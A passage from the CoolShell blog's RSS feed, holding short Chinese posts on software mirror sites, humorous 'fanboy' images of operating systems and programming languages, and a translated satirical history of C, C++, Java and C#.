为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2015.html\">google的免费dns服务器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2015.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>推荐几个镜像站点</title>\n\t\t<link>https://coolshell.cn/articles/2011.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2011.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[joe]]></dc:creator>\n\t\t<pubDate>Sun, 27 Dec 2009 13:06:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[free software]]></category>\n\t\t<category><![CDATA[自由软件]]></category>\n\t\t<category><![CDATA[镜像]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2011</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>搜狐的：http://mirrors.sohu.com 网易的：http://mirrors.163.com 上海交通大学FTP：http://202.38.9...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2011.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2011.html\">推荐几个镜像站点</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>搜狐的：<a title=\"http://mirrors.sohu.com\" href=\"http://mirrors.sohu.com\" target=\"_blank\">http://mirrors.sohu.com</a></p>\n<p>网易的：<a title=\"http://mirrors.163.com\" href=\"http://mirrors.163.com\" target=\"_blank\">http://mirrors.163.com</a></p>\n<p>上海交通大学FTP：<a title=\"http://202.38.97.230/\" href=\"http://202.38.97.230/\" target=\"_blank\">http://202.38.97.230</a></p>\n<p>如果你是教育网的用户，上海交通大学FTP访问速度非常的快。</p>\n<p>:)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3161.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"AES加密算法动画演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3161.html\" class=\"wp_rp_title\">AES加密算法动画演示</a></li><li ><a href=\"https://coolshell.cn/articles/1197.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/GPL-1-150x150.png\" alt=\"GPLv3的在开源社区中的占有量\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1197.html\" class=\"wp_rp_title\">GPLv3的在开源社区中的占有量</a></li><li ><a href=\"https://coolshell.cn/articles/3314.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Color-Scheme-150x150.jpg\" alt=\"几个在线颜色选择器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3314.html\" class=\"wp_rp_title\">几个在线颜色选择器</a></li><li ><a href=\"https://coolshell.cn/articles/3489.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/scr1_m-150x150.png\" alt=\"Linux的cycle日历（你懂的）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3489.html\" class=\"wp_rp_title\">Linux的cycle日历（你懂的）</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet-150x150.jpg\" alt=\"Internet 技术演变图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_title\">Internet 技术演变图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2011.html\">推荐几个镜像站点</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2011.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>粉丝眼中的操作系统</title>\n\t\t<link>https://coolshell.cn/articles/1998.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1998.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Dec 2009 06:50:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[MacOS]]></category>\n\t\t<category><![CDATA[OS]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1998</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在发布完《程序员眼中的编程语言》一文后，发现网上还有一个关于操作系统的。如下所示。 图片的横轴是三大操作系统。 纵轴是各操作系统的粉丝和信徒。 中间的各个小图片...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1998.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在发布完《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a>》一文后，发现网上还有一个关于操作系统的。如下所示。</p>\n<ul>\n<li>图片的横轴是三大操作系统。</li>\n<li>纵轴是各操作系统的粉丝和信徒。</li>\n<li>中间的各个小图片则是，粉丝眼中的操作系统的形象。</li>\n</ul>\n<p>关于操作系统，还有<a href=\"https://coolshell.cn/articles/1579.html\" target=\"_blank\">这一张图</a>也很有意思。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1999\" title=\"粉丝眼中的操作系统\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys.jpg\" alt=\"粉丝眼中的操作系统\" width=\"540\" height=\"430\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys.jpg 540w, https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys-300x239.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys-339x270.jpg 339w\" sizes=\"(max-width: 540px) 100vw, 540px\" /></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/operating-systems-150x150.jpg\" alt=\"一张关于操作系统的图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_title\">一张关于操作系统的图</a></li><li ><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3-150x150.gif\" alt=\"操作系统图形界面发展史(1981-2009)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_title\">操作系统图形界面发展史(1981-2009)</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1998.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员眼中的编程语言</title>\n\t\t<link>https://coolshell.cn/articles/1992.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1992.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Dec 2009 06:31:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1992</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下图是一个搞笑的图片——程序员眼中的编程语言。 图片的横轴是编程语言。 纵轴是各语言的程序员、粉丝、信徒。 中间的各个小图片则是，粉丝眼中的编程语言的形象。 比...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1992.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下图是一个搞笑的图片——程序员眼中的编程语言。</p>\n<ul>\n<li>图片的横轴是编程语言。</li>\n<li>纵轴是各语言的程序员、粉丝、信徒。</li>\n<li>中间的各个小图片则是，粉丝眼中的编程语言的形象。</li>\n</ul>\n<p>比如说，</p>\n<ul>\n<li>第一行第一列，是Java程序员看Java语言的样子，一幢现代化的大厦。</li>\n<li>第一行第二列，是Java程序员看C语言，一个年老过时的骨灰级老头。</li>\n<li>当然，C程序员看Java语言也比较搞，见第二行第一列。呵呵。</li>\n</ul>\n<p>其它的大家自己看吧。还有另外一个关于操作系统的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a>》</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1994\" title=\"程序员眼中的编程语言\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys.jpg\" alt=\"程序员眼中的编程语言\" width=\"575\" height=\"420\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys.jpg 575w, https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-300x219.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-370x270.jpg 370w\" sizes=\"(max-width: 575px) 100vw, 575px\" /></p>\n<p> </p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys.jpg\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/1391.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"编程真难啊\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1391.html\" class=\"wp_rp_title\">编程真难啊</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1992.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言的演变史</title>\n\t\t<link>https://coolshell.cn/articles/1984.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1984.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 21 Dec 2009 00:12:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1984</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>1972 &#8211; C语言的先驱——B语言，被贝尔实验室开发。B语言是一个很快速的，容易维护的，而且对于从系统到应用开发是很好用的。设计这门语言的整个团队...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1984.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1984.html\">C语言的演变史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>1972 &#8211; C语言的先驱——B语言，被贝尔实验室开发。B语言是一个很快速的，容易维护的，而且对于从系统到应用开发是很好用的。设计这门语言的整个团队被马上解雇了，因为他们干了一件和电话通讯不相干的事情。最后这个项目转给了 Dennis Ritchie。他把这个语言变得不容易理解，很难维护，而且，只能用于系统方面的编程。而且，他还设计了一个指针系统，保让每一个程序都超过500行，并可以使用操作系统的指针。</p>\n<p>1982 – 大家发现有97% 的C程序调用产生了“缓冲区溢出”问题。于是，C 程序员们开始意识到，就算是不必要也必需要初始化变量。然而，强制性的变量初始化这个明智的决定，很难影响了当时已经写成了的97%的C程序，所以结果什么也没有发生。 </p>\n<p>1984 – 操作系统出现了“错误指针”的问题数量开始戏剧性地增涨。 </p>\n<p>1985 – 一系列的让C语言有面向对象能力的解决方法出现了，一个叫“C With Classes”正准备商业化。然而，大家觉得名字“C With Classes”太清楚和容易被理解了，所以，最终的商业版本叫做—— C++。</p>\n<p><span id=\"more-1984\"></span></p>\n<p>1986 – C语言成为最流行的语句，其被很多业界分析师推荐于业务应用。他们向全世界宣称——由C语言写成的应用将可以运行在很多不同的平台上的，是跨平台的。目前看来，这些众多的分析者在当时有可能是因为某种迷幻而导致其大脑被所蛊惑了。</p>\n<p>1988 – 业界的这些分析家们因为“摇头丸”吃完了。所以，在他们的幻觉过去以后，他们注意到，使用C语言来开发业务应用会增加5倍以上的开发时间，并且程序也不具备可移植性。他们开始停止向大众推荐使用C语言来开发业务应用了，只能很少一部服用可卡因的人开始转向推荐大众使用C++语言写业务应用程序，他们说，“那是面向对象的，所以，代码是很容易重用的”。</p>\n<p>1990 – 在这个时候，所有的C编译器都转到了C++编译器上。但是，因为大多数的C++程序员并没有使用C++中那些面向对象的语言特性。也就是说，在实际上来说，那种浮肿的代码结构加上操作系统指针的代码被一种叫面向对象的编译器编译。</p>\n<p>1990 – 在雇佣了一些转向“吸胶毒”的分析师后，Sun决定要创造一种叫Oak的语言，这种语言主要用于电视的机顶盒。因为当时几乎所有的程序员的DNA中都有C语的基因，所以，这个语言向C和C++中大量地借鉴了很多它们的语法和编程思路。然而，机顶盒上没有操作系统，也就不存在指针，所以，他们把指针从这门语言里给去掉了。</p>\n<p>1994 – Sun公司里的某个人意识到为一个机顶盒开发一个语言是多么愚蠢的事情。于是，这个语言更名为Java，并且为其注入了“Internet”的特征，从而让其成为一个真正可以被移植的语言。其市场营销上相当成功，而那时有3%的业内人士开始明白什么是Internet，同时，那些精神不正常的分析师们还在不停地嗑药并向大众鼓吹他们的神话——“跨平台移植性”。</p>\n<p>1995 &#8211; Sun 向业界的分析师们提供了免费蘑菇迷魂汤，导致那些分析师在喝下汤后，马上开始写下“Java是一门未来的可移植的和Ineternet高度可集成的语言”。</p>\n<p>1996 中 – 17,468,972 篇文章出现，描述了Java是怎么一门未来的语言。这也是Java Applet开始进入Web页的时代。</p>\n<p>1996 末– 程序员开始使用Java applet创建他们的Web页面，然后他们开始因为挫折和沮丧开始集体自杀。此时，那些分析师开始增大蘑菇迷魂汤的剂量。</p>\n<p>1997 – 因为接受了产生幻觉分析师的建议，Corel 决定重写他们的应用，包括 WordPerfect，当然，是用Java写的。最终的结果是，这是迄今为止比“打字机”还慢的字处理软件。</p>\n<p>1998 –  在意识到applet已在快速枯萎，Sun又一次的重新配置了Java，这次，他们叫Severlet，这是一个服务器的程序语言。这个设计在抄袭了Microsoft Transaction Server ，并且，他们说服所有人这个设计是他们创造的。</p>\n<p>1999 – 业内那些喝多了的分析师们用一种咆哮的方式向大众介绍了Java 2 Enterprise Edition 。 21,499,512 文章被写出来。但是，实际上并没有人使用，因为J2EE太不成熟，而又太贵了。</p>\n<p>2000 – J2EE 最终还是运转起来了（一点点）。而且，所有的Java卖主们开始准备向其砸钱，与此同时，Microsoft 宣布了.NET，这是一个包括了所有的J2EE功能但没那么贵的产品。实际上来说， Microsoft 决定让Windows的用户免费使用.NET 。 Scott McNealy 很愤怒，其对Microsoft开展了相关的法律诉讼。</p>\n<p>.NET 包括了最新的C家族语言，叫C#，发音是“C-pound”，继承最家族的传统，使用着一个愚蠢的名字。</p>\n<p>2001 – Microsoft 的市场部意识到，在市面上没有人谈论他们的产品，他们找了其中一个程序员一起吃中饭，才发现，他们把C#叫做 “C sharp”。</p>\n<p>2002 – C# 成为 Microsoft .NET的一部分。 C++ 的开发者在 Microsoft 平台上为 “managed code”而欢呼雀跃，也就是说，他们最终得到了一个内存自动管理的功能，这一功能正是1991年的Visual Basic 及1995年的Java所创建的 。</p>\n<p><em>copyright (C) 1996-2006 by Billy S. Hollis, originally posted on dotnetmasters.com 13 January 2006</em></p>\n<p> 文章：<a href=\"http://dotnetmasters.com/historyofcfamily.htm\" target=\"_blank\">来源</a></p>\n<p><em> </em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" 